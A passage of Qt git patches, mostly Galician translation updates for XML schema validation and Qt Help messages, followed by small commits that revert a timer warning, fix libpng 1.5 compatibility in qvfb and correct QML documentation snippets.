+ %1 contén a faceta %2 con datos non válidos: %3. Attribute group %1 contains attribute %2 twice. - O grupo de atributos %1 contén o atributo %2 dúas veces. + O grupo de atributos %1 contén o atributo %2 dúas veces. Attribute group %1 contains two different attributes that both have types derived from %2. - O grupo de atributos %1 contén dous atributos diferentes con tipos derivados -de %2 + O grupo de atributos %1 contén dous atributos diferentes con tipos derivados de %2. Attribute group %1 contains attribute %2 that has value constraint but type that inherits from %3. - O grupo de atributos %1 contén o atributo %2, que ten restrición de valores -pero un tipo que herda de %3. + O grupo de atributos %1 contén o atributo %2, que ten restrición de valores pero un tipo que herda de %3. Complex type %1 contains attribute %2 twice. - O tipo complexo %1 contén o atributo %2 dúas veces. + O tipo complexo %1 contén o atributo %2 dúas veces. Complex type %1 contains two different attributes that both have types derived from %2. - O tipo complexo %1 contén dous atributos diferentes con tipos derivados de %2. + O tipo complexo %1 contén dous atributos diferentes con tipos derivados de %2. Complex type %1 contains attribute %2 that has value constraint but type that inherits from %3. - O tipo complexo %1 contén o atributo %2, que ten restrición de valores pero -un tipo que herda de %3. + O tipo complexo %1 contén o atributo %2, que ten restrición de valores pero un tipo que herda de %3. Element %1 is not allowed to have a value constraint if its base type is complex. - O elemento %1 non se lle permite ter unha restrición de valores se o seu tipo -de base -é complexo. + O elemento %1 non se lle permite ter unha restrición de valores se o seu tipo de base é complexo. Element %1 is not allowed to have a value constraint if its type is derived from %2. - O elemento %1 non se lle permite ter unha restrición de valores se o seu tipo -deriva de %2. + O elemento %1 non se lle permite ter unha restrición de valores se o seu tipo deriva de %2. Value constraint of element %1 is not of elements type: %2. - A restrición aos valores do elemento %1 non é do tipo elementos: %2. + A restrición aos valores do elemento %1 non é do tipo elementos: %2. Element %1 is not allowed to have substitution group affiliation as it is no global element. - Non se permite que o elemento %1 teña afiliación a grupo de substitución xa -que -non é un elemento global. + Non se permite que o elemento %1 teña afiliación a grupo de substitución xa que non é un elemento global. Type of element %1 cannot be derived from type of substitution group affiliation. - O tipo do elemento %1 non pode derivarse do tipo de afiliación ao grupo de -substitución. + O tipo do elemento %1 non pode derivarse do tipo de afiliación ao grupo de substitución. Value constraint of attribute %1 is not of attributes type: %2. - A restrición aos valores do atributo %1 non é ao tipo do atributo: %2. + A restrición aos valores do atributo %1 non é ao tipo do atributo: %2. Attribute %1 has value constraint but has type derived from %2. - O atributo %1 ten restrición de valores pero ten tipo derivado de %2. + O atributo %1 ten restrición de valores pero ten tipo derivado de %2. %1 attribute in derived complex type must be %2 like in base type. - + O atributo %1 no tipo complexo derivado debe ser %2 como no tipo de base. Attribute %1 in derived complex type must have %2 value constraint like in base type. - O atributo %1 do tipo complexo derivado debe ter unha restrición de valores -%2 -como no tipo de base. + O atributo %1 do tipo complexo derivado debe ter unha restrición de valores %2 como no tipo de base. Attribute %1 in derived complex type must have the same %2 value constraint like in base type. - + O atributo %1 do tipo complexo derivado debe ter a mesma restrición a valores %2 como no tipo de base. Attribute %1 in derived complex type must have %2 value constraint. - + O atributo %1 no tipo complexo derivado debe ter a restrición a valores %2. processContent of base wildcard must be weaker than derived wildcard. - + O processContent do comodín de base debe ser máis feble que o do comodín de derivado. Element %1 exists twice with different types. - + O elemento %1 existe dúas veces con tipos diferentes. Particle contains non-deterministic wildcards. - + A partícula contén caracteres de substitución non deterministas. Base attribute %1 is required but derived attribute is not. - + Requírese o atributo de base %1 pero non o derivado. Type of derived attribute %1 cannot be validly derived from type of base attribute. - + O tipo do atributo derivado %1 non se pode derivar con validez a partir do tipo do atributo de base. Value constraint of derived attribute %1 does not match value constraint of base attribute. - + A restrición de valores do atributo derivado %1 non casa coa do atributo de base. Derived attribute %1 does not exist in the base definition. - + O atributo derivado %1 non existe na definición da base. Derived attribute %1 does not match the wildcard in the base definition. - + O atributo derivado %1 non casa co carácter de substitución na definición da base. Base attribute %1 is required but missing in derived definition. - + Requírese o atributo de base %1 pero falta na definición derivada. Derived definition contains an %1 element that does not exists in the base definition - + A definición derivada contén un elemento %1 que non existe na definición da base Derived wildcard is not a subset of the base wildcard. - + O carácter de substitución derivado non é un conxunto do de base. %1 of derived wildcard is not a valid restriction of %2 of base wildcard - + O %1 do comodín derivado non é unha restrición válido do %2 do comodín base Attribute %1 from base type is missing in derived type. - + O atributo %1 do tipo base falta no tipo derivado. Type of derived attribute %1 differs from type of base attribute. - + O tipo do atributo derivado %1 é diferente do tipo do atributo base. Base definition contains an %1 element that is missing in the derived definition - + A definición base contén un elemento %1 que falta na definición derivada Can not process unknown element %1, expected elements are: %2. - + Non se pode procesar o elemento %1, os elementos agardados son: %2. Element %1 is not allowed in this scope, possible elements are: %2. - Non se permite o elemento %1 neste ámbito, os elementos posíbeis son: %2. + Non se permite o elemento %1 neste ámbito, os elementos posíbeis son: %2. Child element is missing in that scope, possible child elements are: %1. - + O elemento fillo falta nese ámbito, os posíbeis son: %1. Document is not a XML schema. - + O documento non é un esquema XML. %1 attribute of %2 element contains invalid content: {%3} is not a value of type %4. - + O atributo %1 do elemento %2 ten contido non válido: {%3} non é un valor do tipo %4. %1 attribute of %2 element contains invalid content: {%3}. - + O atributo %1 do elemento %2 ten contido non válido: {%3}. Target namespace %1 of included schema is different from the target namespace %2 as defined by the including schema. - + O espazo de nomes de destino %1 do esquema incluído é diferente do %2, que se especificou no esquema incluínte. Target namespace %1 of imported schema is different from the target namespace %2 as defined by the importing schema. - + O espazo de nomes de destino %1 do esquema importado é diferente do %2, que se especificou no esquema importador. %1 element is not allowed to have the same %2 attribute value as the target namespace %3. - + Non se permite que o elemento %1 teña o mesmo valor do atributo %2 que o espazo de nomes de destino %3. %1 element without %2 attribute is not allowed inside schema without target namespace. - + Non se permite un elemento %1 sen o atributo %2 dentro dun esquema sen espazo de nomes de destino. %1 element is not allowed inside %2 element if %3 attribute is present. - + Non se permite o elemento %1 dentro do elemento %2 se está presente o atributo %3. %1 element has neither %2 attribute nor %3 child element. - O elemento %1 non ten nin o atributo %2 nin o elemento fillo %3. + O elemento %1 non ten nin o atributo %2 nin o elemento fillo %3. %1 element with %2 child element must not have a %3 attribute. - + Un elemento %1 cun elemento fillo %2 non pode ter un atributo %3. %1 attribute of %2 element must be %3 or %4. - O atributo %1 do elemento %2 debe ser %3 ou %4. + O atributo %1 do elemento %2 debe ser %3 ou %4. %1 attribute of %2 element must have a value of %3. - O atributo %1 do elemento %2 debe ter un valor de %3. + O atributo %1 do elemento %2 debe ter un valor de %3. %1 attribute of %2 element must have a value of %3 or %4. - O atributo %1 do elemento %2 debe ter un valor de %3 ou %4. + O atributo %1 do elemento %2 debe ter un valor de %3 ou %4. %1 element must not have %2 and %3 attribute together. - O elemento %1 non debe ter á vez os atributos %2 e %3. + O elemento %1 non debe ter á vez os atributos %2 e %3. Content of %1 attribute of %2 element must not be from namespace %3. - + O contido do atributo %1 do elemento %2 non debe proceder do espazo de nomes %3. %1 attribute of %2 element must not be %3. - O atributo %1 do elemento %2 non debe ser %3. + O atributo %1 do elemento %2 non debe ser %3. %1 attribute of %2 element must have the value %3 because the %4 attribute is set. - + O atributo %1 do elemento %2 debe ter o mesmo valor %3 porque se indicou o atributo %4. Specifying use='prohibited' inside an attribute group has no effect. - Indicar use='prohibited' dentro dun grupo de atributos non ten efecto. + Indicar use='prohibited' dentro dun grupo de atributos non ten efecto. %1 element must have either %2 or %3 attribute. - O elemento %1 debe ter o do atributo %2 ou o %3. + O elemento %1 debe ter o do atributo %2 ou o %3. %1 element must have either %2 attribute or %3 or %4 as child element. - O elemento %1 debe ter ou o atributo %2 ou un elemento fillo %3 ou %4. + O elemento %1 debe ter ou o atributo %2 ou un elemento fillo %3 ou %4. %1 element requires either %2 or %3 attribute. - O elemento %1 require o atributo %2 ou o %3. + O elemento %1 require o atributo %2 ou o %3. Text or entity references not allowed inside %1 element - Non se permite referencias nin texto nin a entidades dentro dun elemento %1 + Non se permite referencias nin texto nin a entidades dentro dun elemento %1 %1 attribute of %2 element must contain %3, %4 or a list of URIs. - + O atributo %1 do elemento %2 debe conter %3, %4 ou unha listaxe de URI. %1 element is not allowed in this context. - + Non se permite o elemento %1 neste contexto. %1 attribute of %2 element has larger value than %3 attribute. - + O atributo %1 do elemento %2 ten un valor maior do que o atributo %3. Prefix of qualified name %1 is not defined. - + Non se definiu o prefixo do nome cualificado %1. %1 attribute of %2 element must either contain %3 or the other values. - + O atributo %1 do elemento %2 debe conter %3 ou os outros valores. Component with ID %1 has been defined previously. - + Xa se definiu anteriormente unha compoñente co ID %1. Element %1 already defined. - + Xa se definiu o elemento %1. Attribute %1 already defined. - + Xa se definiu o atributo %1. Type %1 already defined. - + Xa se definiu o tipo %1. Attribute group %1 already defined. - + Xa se definiu o grupo de atributos %1. Element group %1 already defined. - + Xa se definiu o grupo de elementos %1. Notation %1 already defined. - + Xa se definiu a notación %1. Identity constraint %1 already defined. - + Xa se definiu a restrición de identidade %1. Duplicated facets in simple type %1. - + Hai facetas duplicadas no tipo simple %1. %1 references unknown %2 or %3 element %4. - + %1 fai referencia a un %4 dun elemento %2 ou %3 descoñecido. %1 references identity constraint %2 that is no %3 or %4 element. - + %1 fai referencia á restrición de identidade %2 que non é nin un elemento %3 nin %4. %1 has a different number of fields from the identity constraint %2 that it references. - + %1 ten unha cantidade diferentes de campos que a restrición de identidade %2 á que fai referencia. Base type %1 of %2 element cannot be resolved. - + O tipo base %1 do elemento %2 non se pode resolver. Item type %1 of %2 element cannot be resolved. - + O tipo de elemento %1 de %2 non se pode resolver. Member type %1 of %2 element cannot be resolved. - + O tipo de membro %1 de %2 non se pode resolver. Type %1 of %2 element cannot be resolved. - + O tipo %1 do elemento %2 non se pode resolver. Base type %1 of complex type cannot be resolved. - + O tipo base %1 do tipo complexo non se pode resolver. %1 cannot have complex base type that has a %2. - + %1 non pode ter un tipo de base complexo que teña un %2. Content model of complex type %1 contains %2 element so it cannot be derived by extension from a non-empty type. - + O modelo de contido do tipo complexo %1 contén un elemento %2 polo que non se pode derivar por extensión a partir dun tipo non baleiro. Complex type %1 cannot be derived by extension from %2 as the latter contains %3 element in its content model. - + Non se pode derivar o tipo complexo %1 mediante extensión de %2 xa que este contén elementos %3 no seu modelo de contido. Type of %1 element must be a simple type, %2 is not. - + O tipo do elemento %1 debe ser un tipo simple, e %2 non o é. Substitution group %1 of %2 element cannot be resolved. - + Non se pode resolver o grupo de substitución %1 do elemento %2. Substitution group %1 has circular definition. - + O grupo de substitución %1 ten unha definición circular. Duplicated element names %1 in %2 element. - + Hai nomes de elementos %1 duplicados no elemento %2. Reference %1 of %2 element cannot be resolved. - + A referencia %1 do elemento %2 non se pode resolver. Circular group reference for %1. - + Grupo de referencias circulares para %1. %1 element is not allowed in this scope - + Non se permite o elemento %1 neste ámbito %1 element cannot have %2 attribute with value other than %3. - + O elemento %1 non pode ter o atributo %2 cun valor diferente de %3. %1 element cannot have %2 attribute with value other than %3 or %4. - + O elemento %1 non pode ter o atributo %2 cun valor diferente de %3 ou de %4. %1 or %2 attribute of reference %3 does not match with the attribute declaration %4. - + Nin atributo %1 nin o %2 da referencia %2 casan coa declaración do atributo %3. Attribute group %1 has circular reference. - + O grupo de atributo %1 ten unha referencia circular. %1 attribute in %2 must have %3 use like in base type %4. - + O atributo %1 en %2 debe ter un uso de %3 como no tipo base %4. Attribute wildcard of %1 is not a valid restriction of attribute wildcard of base type %2. - + O carácter de substitución de atributo de %1 non é unha restrición válida de carácter de substitución de atributo do tipo de base %2. %1 has attribute wildcard but its base type %2 has not. - + %1 ten un carácter de substitución de atributo pero o seu tipo de base %2 non o ten. Union of attribute wildcard of type %1 and attribute wildcard of its base type %2 is not expressible. - + A unión do carácter de substitución de atributo do tipo %1 e o do seu tipo de base %2 é inexpresábel. Enumeration facet contains invalid content: {%1} is not a value of type %2. - + A faceta de enumeración ten contido non válido: {%1} non é un valor do tipo %2. Namespace prefix of qualified name %1 is not defined. - + Non está á definido o prefixo do espazo de nomes do nome cualificado %1. %1 element %2 is not a valid restriction of the %3 element it redefines: %4. - + O elemento %1 %2 non é unha restrición válida do elemento %3 que redefine: %4. %1 is not valid according to %2. - %1 non é válido segundo %2. + %1 non é válido segundo %2. String content does not match the length facet. - O contido da cadea non coincide coa faceta «length». + O contido da cadea non coincide coa faceta «length». String content does not match the minLength facet. - O contido da cadea non coincide coa faceta «minLength». + O contido da cadea non coincide coa faceta «minLength». String content does not match the maxLength facet. - O contido da cadea non coincide coa faceta «maxLength». + O contido da cadea non coincide coa faceta «maxLength». String content does not match pattern facet. - O contido da cadea non coincide coa faceta «pattern». + O contido da cadea non coincide coa faceta «pattern». String content is not listed in the enumeration facet. - O contido da cadea non está enumerado na enumeración de facetas. + O contido da cadea non está enumerado na enumeración de facetas. Signed integer content does not match the maxInclusive facet. - + O contido do número enteiro con signo non casa coa faceta maxInclusive. Signed integer content does not match the maxExclusive facet. - + O contido do número enteiro con signo non casa coa faceta maxExclusive. Signed integer content does not match the minInclusive facet. - + O contido do número enteiro con signo non casa coa faceta minInclusive. Signed integer content does not match the minExclusive facet. - + O contido do número enteiro con signo non casa coa faceta minExclusive. Signed integer content is not listed in the enumeration facet. - + O contido do número enteiro con signo non está na faceta de enumeración. Signed integer content does not match pattern facet. - + O contido do número enteiro con signo non casa coa faceta padrón. Signed integer content does not match in the totalDigits facet. - + O contido do número enteiro con signo non casa coa faceta totalDigits. Unsigned integer content does not match the maxInclusive facet. - + O contido do número enteiro sen signo non casa coa faceta maxInclusive. Unsigned integer content does not match the maxExclusive facet. - + O contido do número enteiro sen signo non casa coa faceta maxExclusive. Unsigned integer content does not match the minInclusive facet. - + O contido do número enteiro sen signo non casa coa faceta minInclusive. Unsigned integer content does not match the minExclusive facet. - + O contido do número enteiro sen signo non casa coa faceta minExclusive. Unsigned integer content is not listed in the enumeration facet. - + O contido do número enteiro sen signo non está na faceta de enumeración. Unsigned integer content does not match pattern facet. - + O contido do número enteiro sen signo non casa coa faceta padrón. Unsigned integer content does not match in the totalDigits facet. - + O contido do número enteiro sen signo non casa coa faceta totalDigits. Double content does not match the maxInclusive facet. - + O contido do número de lonxitude dupla non casa coa faceta maxInclusive. Double content does not match the maxExclusive facet. - + O contido do número de lonxitude dupla non casa coa faceta maxExclusive. Double content does not match the minInclusive facet. - + O contido do número de lonxitude dupla non casa coa faceta minInclusive. Double content does not match the minExclusive facet. - + O contido do número de lonxitude dupla non casa coa faceta minExclusive. Double content is not listed in the enumeration facet. - + O contido do número de lonxitude dupla non está na faceta de enumeración. Double content does not match pattern facet. - + O contido do número de lonxitude dupla non casa coa faceta padrón. Decimal content does not match in the fractionDigits facet. - + O contido do número decimal non casa coa faceta fractionDigits. Decimal content does not match in the totalDigits facet. - + O contido do número decimal non casa coa faceta totalDigits. Date time content does not match the maxInclusive facet. - + O contido da data e hora non casa coa faceta maxInclusive. Date time content does not match the maxExclusive facet. - + O contido da data e hora non casa coa faceta maxExclusive. Date time content does not match the minInclusive facet. - + O contido da data e hora non casa coa faceta minInclusive. Date time content does not match the minExclusive facet. - + O contido da data e hora non casa coa faceta minExclusive. Date time content is not listed in the enumeration facet. - + O contido da data e hora non está na faceta de enumeración. Date time content does not match pattern facet. - + O contido da data e hora non casa coa faceta padrón. Duration content does not match the maxInclusive facet. - + O contido da duración non casa coa faceta maxInclusive. Duration content does not match the maxExclusive facet. - + O contido da duración non casa coa faceta maxExclusive. Duration content does not match the minInclusive facet. - + O contido da duración non casa coa faceta minInclusive. Duration content does not match the minExclusive facet. - + O contido da duración non casa coa faceta minExclusive. Duration content is not listed in the enumeration facet. - + O contido da duración non está na faceta de enumeración. Duration content does not match pattern facet. - + O contido da duración non casa coa faceta padrón. Boolean content does not match pattern facet. - + O contido booleano non casa coa faceta padrón. Binary content does not match the length facet. - + O contido binario coa faceta «length». Binary content does not match the minLength facet. - + O contido binario coa faceta «minLength». Binary content does not match the maxLength facet. - + O contido binario coa faceta «maxLength». Binary content is not listed in the enumeration facet. - + O contido binario non está na faceta de enumeración. Invalid QName content: %1. - + Contido non válido do QName: %1 QName content is not listed in the enumeration facet. - + O contido do QName non está na faceta de enumeración. QName content does not match pattern facet. - + O contido do QName non casa coa faceta padrón. Notation content is not listed in the enumeration facet. - + O contido da notación non está na faceta de enumeración List content does not match length facet. - + O contido da lista non coincide coa faceta «length». List content does not match minLength facet. - + O contido da lista non coincide coa faceta «minLength». List content does not match maxLength facet. - + O contido da lista non coincide coa faceta «maxLength». List content is not listed in the enumeration facet. - + O contido da lista non está na faceta de enumeración. List content does not match pattern facet. - + O contido da lista non casa coa faceta padrón. Union content is not listed in the enumeration facet. - + O contido da unión non está na faceta de enumeración. Union content does not match pattern facet. - + O contido da unión non casa coa faceta padrón. Data of type %1 are not allowed to be empty. - + Non se permite que os datos do tipo %1 esteas baleiros. Element %1 is missing child element. - + Ao elemento %1 fáltalle un elemento fillo. There is one IDREF value with no corresponding ID: %1. - + Hai un valor IDREF sen o ID correspondente: %1. Loaded schema file is invalid. - + O ficheiro de esquema que se cargou non é válido. %1 contains invalid data. - + %1 contén datos non válidos. xsi:schemaLocation namespace %1 has already appeared earlier in the instance document. - + O espazo de nomes %1 de xsi:schemaLocation xa apareceu antes no documento de instancia. xsi:noNamespaceSchemaLocation cannot appear after the first no-namespace element or attribute. - + xsi:noNamespaceSchemaLocation non pode aparecer despois do primeiro elemento ou atributo que non sexa un espazo de nomes. No schema defined for validation. - + Non se definiu ningún esquema para a validación. No definition for element %1 available. - + Non hai dispoñíbel ningunha definición do elemento %1. Specified type %1 is not known to the schema. - + O tipo especificado %1 non se coñece neste esquema. Element %1 is not defined in this scope. - + O elemento %1 non está definido neste ámbito. Declaration for element %1 does not exist. - + Non existe a declaración do elemento %1. Element %1 contains invalid content. - + O elemento %1 ten contido non válido. Element %1 is declared as abstract. - + O elemento %1 declarouse como abstracto. Element %1 is not nillable. - + O elemento %1 non é anulábel. Attribute %1 contains invalid data: %2 - + O atributo %1 contén datos non válidos: %2 Element contains content although it is nillable. - + O elemento ten contido a pesar de ser anulábel. Fixed value constraint not allowed if element is nillable. - + Non se permite a restrición de valor fixo se o elemento é anulábel. Specified type %1 is not validly substitutable with element type %2. - + O tipo especificado %1 non se pode substituír dun xeito válido por elementos do tipo %2. Complex type %1 is not allowed to be abstract. - + Non se permite que o tipo complexo %1 sexa abstracto. Element %1 contains not allowed attributes. - + O elemento %1 contén atributos non permitidos. Element %1 contains not allowed child element. - + O elemento %1 contén un elemento fillo non permitido. Content of element %1 does not match its type definition: %2. - + O contido do elemento %1 non casa coa definición do tipo: %2. Content of element %1 does not match defined value constraint. - + O contido do elemento %1 non casa coa restrición de valores definida. Element %1 contains not allowed child content. - + O elemento %1 ten contido fillo non permitido. Element %1 contains not allowed text content. - + O elemento %1 ten contido de texto non permitido. Element %1 cannot contain other elements, as it has a fixed content. - + O elemento %1 non pode conter outros elementos xa que ten un contido fixo. Element %1 is missing required attribute %2. - + Ao elemento %1 fáltalle o atributo requirido %2. Attribute %1 does not match the attribute wildcard. - + O atributo %1 non casa co carácter de substitución do atributo. Declaration for attribute %1 does not exist. - + Non existe a declaración do atributo %1. Element %1 contains two attributes of type %2. - + O elemento %1 contén dous atributos do tipo %2. Attribute %1 contains invalid content. - + O atributo %1 ten contido non válido. Element %1 contains unknown attribute %2. - + O elemento %1 contén o atributo descoñecido %2. Content of attribute %1 does not match its type definition: %2. - + O contido do atributo %1 non casa coa definición do tipo: %2. Content of attribute %1 does not match defined value constraint. - + O contido do atributo %1 non casa coa restrición de valores definida. Non-unique value found for constraint %1. - + Atopouse un valor non único para a restrición %1. Key constraint %1 contains absent fields. - + A restrición de chave %1 contén campos ausentes. Key constraint %1 contains references nillable element %2. - + A restrición de chave %1 contén referencias ao elemento anulábel %2. No referenced value found for key reference %1. - + Non se atopou ningún valor referenciado para a referencia de chave %1. More than one value found for field %1. - Atopouse máis dun valor para o campo %1. + Atopouse máis dun valor para o campo %1. Field %1 has no simple type. - O campo %1 non ten un tipo simple. + O campo %1 non ten un tipo simple. ID value '%1' is not unique. - O valor do ID «%1» non é único. + O valor do ID «%1» non é único. '%1' attribute contains invalid QName content: %2. - O atributo «%1» contén contido non válido para un QName: %2. + O atributo «%1» contén contido non válido para un QName: %2. empty - baleiro + baleiro zero or one - cero ou un + cero ou un exactly one - exactamente un + exactamente un one or more - un ou máis + un ou máis zero or more - cero ou máis + cero ou máis Required type is %1, but %2 was found. - O tipo requirido é %1, pero atopouse %2. + O tipo requirido é %1, pero atopouse %2. Promoting %1 to %2 may cause loss of precision. - Converter de %1 a %2 pode causar perda de precisión. + Converter de %1 a %2 pode causar perda de precisión. The focus is undefined. - O foco non está definido. + O foco non está definido. It's not possible to add attributes after any other kind of node. - Non é posíbel engadir atributos tras calquera outro tipo de nodo. + Non é posíbel engadir atributos tras calquera outro tipo de nodo. An attribute by name %1 has already been created. - Xa se creou un atributo co nome %1. + Xa se creou un atributo co nome %1. Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported. - + Só está soportado o Unicode Codepoint Collation (%1). %2 non se admite. diff --git a/translations/qt_help_gl.ts b/translations/qt_help_gl.ts new file mode 100644 index 0000000..a3da29a --- /dev/null +++ b/translations/qt_help_gl.ts @@ -0,0 +1,320 @@ + + + + + QCLuceneResultWidget + + Search Results + Resultados da procura + + + Note: + Nota: + + + The search results may not be complete since the documentation is still being indexed! + Poida que os resultados da procura non sexan completos porque a documentación +aínda se está a indexar! + + + Your search did not match any documents. + A procura non atopou documento ningún. + + + (The reason for this might be that the documentation is still being indexed.) + (A razón disto pode ser que a documentación aínda estea a indexarse.) + + + + QHelp + + Untitled + Sen título + + + + QHelpCollectionHandler + + The collection file '%1' is not set up yet! + O ficheiro de colección «%1» aínda non está configurado! + + + Cannot load sqlite database driver! + Non se pode cargar o controlador da base de datos sqlite! + + + Cannot open collection file: %1 + Non foi posíbel abrir o ficheiro de colección: %1 + + + Cannot create tables in file %1! + Non foi posíbel crear as táboas no ficheiro %1! + + + The collection file '%1' already exists! + O ficheiro de colección «%1» xa existe! + + + Cannot create directory: %1 + Non foi posíbel crear o directorio: %1 + + + Cannot copy collection file: %1 + Non foi posíbel copiar o ficheiro de colección: %1 + + + Unknown filter '%1'! + Non se coñece o filtro «%1»! + + + Cannot register filter %1! + Non foi posíbel rexistrar o filtro %1! + + + Cannot open documentation file %1! + Non foi posíbel abrir o ficheiro de documentación %1! + + + Invalid documentation file '%1'! + O ficheiro de documentación «%1» non é válido! + + + The namespace %1 was not registered! + O espazo de nomes %1 non estaba rexistrado! + + + Namespace %1 already exists! + O espazo de nomes %1 xa existe! + + + Cannot register namespace '%1'! + Non foi posíbel rexistrar o espazo de nomes «%1»! + + + Cannot open database '%1' to optimize! + Non foi posíbel abrir a base de datos «%1» para optimizala! + + + + QHelpDBReader + + Cannot open database '%1' '%2': %3 + The placeholders are: %1 - The name of the database which cannot be opened %2 - The unique id for the connection %3 - The actual error string + Non foi posíbel abrir a base de datos «%1» «%2»: %3 + + + + QHelpEngineCore + + Cannot open documentation file %1: %2! + Non foi posíbel abrir o ficheiro de documentación %1: %2! + + + The specified namespace does not exist! + O espazo de nomes especificado non existe! + + + + QHelpGenerator + + Invalid help data! + Datos de axuda non válidos! + + + No output file name specified! + Non se indicou ningún nome para o ficheiro de saída! + + + The file %1 cannot be overwritten! + O ficheiro %1 non pode sobrescribirse! + + + Building up file structure... + A construír a estrutura do ficheiro... + + + Cannot open data base file %1! + Non foi posíbel abrir o ficheiro de base de datos %1! + + + Cannot register namespace %1! + Non foi posíbel rexistrar o espazo de nomes %1! + + + Insert custom filters... + Inserir filtros personalizados... + + + Insert help data for filter section (%1 of %2)... + Inserir datos de axuda para a sección de filtro (%1 de %2)... + + + Documentation successfully generated. + A documentación xerouse correctamente. + + + Some tables already exist! + Algunhas táboas xa existen! + + + Cannot create tables! + Non foi posíbel crear as táboas! + + + Cannot register virtual folder! + Non foi posíbel rexistrar o cartafol virtual! + + + Insert files... + Inserir ficheiros... + + + The referenced file %1 must be inside or within a subdirectory of (%2). Skipping it. + O ficheiro referenciado %1 debe estar en ou nun subdirectorio de (%2). Omitirase. + + + The file %1 does not exist! Skipping it. + O ficheiro %1 non existe! Omitirase. + + + Cannot open file %1! Skipping it. + Non foi posíbel abrir o ficheiro %1! Omitirase. + + + The filter %1 is already registered! + O filtro %1 xa está rexistrado! + + + Cannot register filter %1! + Non foi posíbel rexistrar o filtro %1! + + + Insert indices... + Inserir índices... + + + Insert contents... + Inserir contido... + + + Cannot insert contents! + Non foi posíbel inserir contido! + + + Cannot register contents! + Non foi posíbel rexistrar contido! + + + File '%1' does not exist. + O ficheiro «%1» non existe. + + + File '%1' cannot be opened. + Non foi posíbel abrir o ficheiro «%1». + + + File '%1' contains an invalid link to file '%2' + O ficheiro «%1» contén unha ligazón non válida ao ficheiro «%2» + + + Invalid links in HTML files. + Hai ligazóns non válidas en ficheiros HTML. + + + + QHelpProject + + Unknown token. + Token descoñecido. + + + Unknown token. Expected "QtHelpProject"! + Token descoñecido. Agardábase «QtHelpProject»! + + + Error in line %1: %2 + Erro na liña %1: %2 + + + Virtual folder has invalid syntax. + O cartafol virtual ten unha sintaxe non válida. + + + Namespace has invalid syntax. + O espazo de nomes ten unha sintaxe non válida. + + + Missing namespace in QtHelpProject. + Falta o espazo de nome no QtHelpProject. + + + Missing virtual folder in QtHelpProject + Falta o cartafol virtural no QtHelpProject + + + Missing attribute in keyword at line %1. + Falta un atributo nunha palabra chave na liña %1. + + + The input file %1 could not be opened! + Non foi posíbel abrir o ficheiro de entrada %1! + + + + QHelpSearchQueryWidget + + Search for: + Procurar: + + + Previous search + Anterior procura + + + Next search + Seguinte procura + + + Search + Procurar + + + Advanced search + Procura avanzada + + + words <B>similar</B> to: + palabras <B>semellantes</B> a: + + + <B>without</B> the words: + <B>sen</B> as palabras: + + + with <B>exact phrase</B>: + coa <B>frase exacta</B>: + + + with <B>all</B> of the words: + con <B>todas</B> as palabras: + + + with <B>at least one</B> of the words: + con <B>polo menos unha</B> das palabras: + + + + QHelpSearchResultWidget + + %1 - %2 of %n Hits + + %1 - %2 de %n coincidencia + + + + + 0 - 0 of 0 Hits + 0 - 0 de 0 coincidencias + + + -- cgit v0.12 From d7212b3b8b804c3621b0c39e9f07afecc5b39a4d Mon Sep 17 00:00:00 2001 From: Olivier Goffart Date: Mon, 17 Jan 2011 16:32:03 +0100 Subject: Revert "Add a warning about trying to release a timer ID that isn't active" This reverts commit e1955231478df8990cf8b1f80438abf957c5d6f2. Revert it in Qt 4.7 because the warning is triggered a lot by Qt itself They are going to be fixed in master. Reviewed-by: Thierry Task-number: QTBUG-16175 --- src/corelib/kernel/qeventdispatcher_unix.cpp | 1 - 1 file changed, 1 deletion(-) diff --git a/src/corelib/kernel/qeventdispatcher_unix.cpp b/src/corelib/kernel/qeventdispatcher_unix.cpp index 14e8991..050805f 100644 --- a/src/corelib/kernel/qeventdispatcher_unix.cpp +++ b/src/corelib/kernel/qeventdispatcher_unix.cpp @@ -501,7 +501,6 @@ bool QTimerInfoList::unregisterTimer(int timerId) } } // id not found - qWarning("Application asked to unregister timer 0x%x which is not registered in this thread. Fix application.", timerId); return false; } -- cgit v0.12 From 4d570be67303f5b80ed0377ac7307afd8bc18643 Mon Sep 17 00:00:00 2001 From: Bernhard Rosenkraenzer Date: Mon, 17 Jan 2011 16:32:39 +0100 Subject: Make qvfb compile (and work) with libpng 1.5 In libpng >= 1.5.0, the png_info struct is no longer exported Merge-request: 1023 Reviewed-by: Oswald Buddenhagen --- tools/qvfb/qanimationwriter.cpp | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/tools/qvfb/qanimationwriter.cpp b/tools/qvfb/qanimationwriter.cpp index 74a7b5f..c91a916 100644 --- a/tools/qvfb/qanimationwriter.cpp +++ b/tools/qvfb/qanimationwriter.cpp @@ -112,9 +112,11 @@ public: void writePNG(const QImage& image) { -#ifndef QT_LINUXBASE +#if !defined(QT_LINUXBASE) && \ + (PNG_LIBPNG_VER_MAJOR < 1 || (PNG_LIBPNG_VER_MAJOR == 1 && PNG_LIBPNG_VER_MINOR <= 4)) // LSB disallows accessing the info_ptr directly. LSB's png_set_IHDR sets - // the channels anyways, so just comment it out for LSB usage + // the channels anyways, so just comment it out for LSB usage. + // In libpng >= 1.5, the png_info struct is no longer exported. info_ptr->channels = 4; #endif png_set_sig_bytes(png_ptr, 8); // Pretend we already wrote the sig -- cgit v0.12 From 72900c3004825514244ebd38f38c0443b9774ad3 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 17 Jan 2011 20:12:14 +0100 Subject: Doc: Fixed qdoc warnings caused by invalid/incomplete QML snippets. --- doc/src/declarative/dynamicobjects.qdoc | 4 +- doc/src/declarative/example-slideswitch.qdoc | 12 +- doc/src/declarative/extending.qdoc | 27 +- doc/src/declarative/qdeclarativemodels.qdoc | 4 +- doc/src/declarative/qtdeclarative.qdoc | 4 +- doc/src/snippets/declarative/script.js | 5 +- .../declarative/transition-from-to-modified.qml | 60 ++++ .../snippets/declarative/transition-from-to.qml | 2 - .../snippets/declarative/transition-reversible.qml | 2 + doc/src/snippets/declarative/transitions-list.qml | 89 +++++ doc/src/snippets/qstring/main.cpp | 382 ++++++++++----------- 11 files changed, 381 insertions(+), 210 deletions(-) create mode 100644 doc/src/snippets/declarative/transition-from-to-modified.qml create mode 100644 doc/src/snippets/declarative/transitions-list.qml diff --git a/doc/src/declarative/dynamicobjects.qdoc b/doc/src/declarative/dynamicobjects.qdoc index 073e0c4..11a4386 100644 --- a/doc/src/declarative/dynamicobjects.qdoc +++ b/doc/src/declarative/dynamicobjects.qdoc @@ -184,7 +184,9 @@ Note also that if a \c SelfDestroyingRect instance was created statically like t 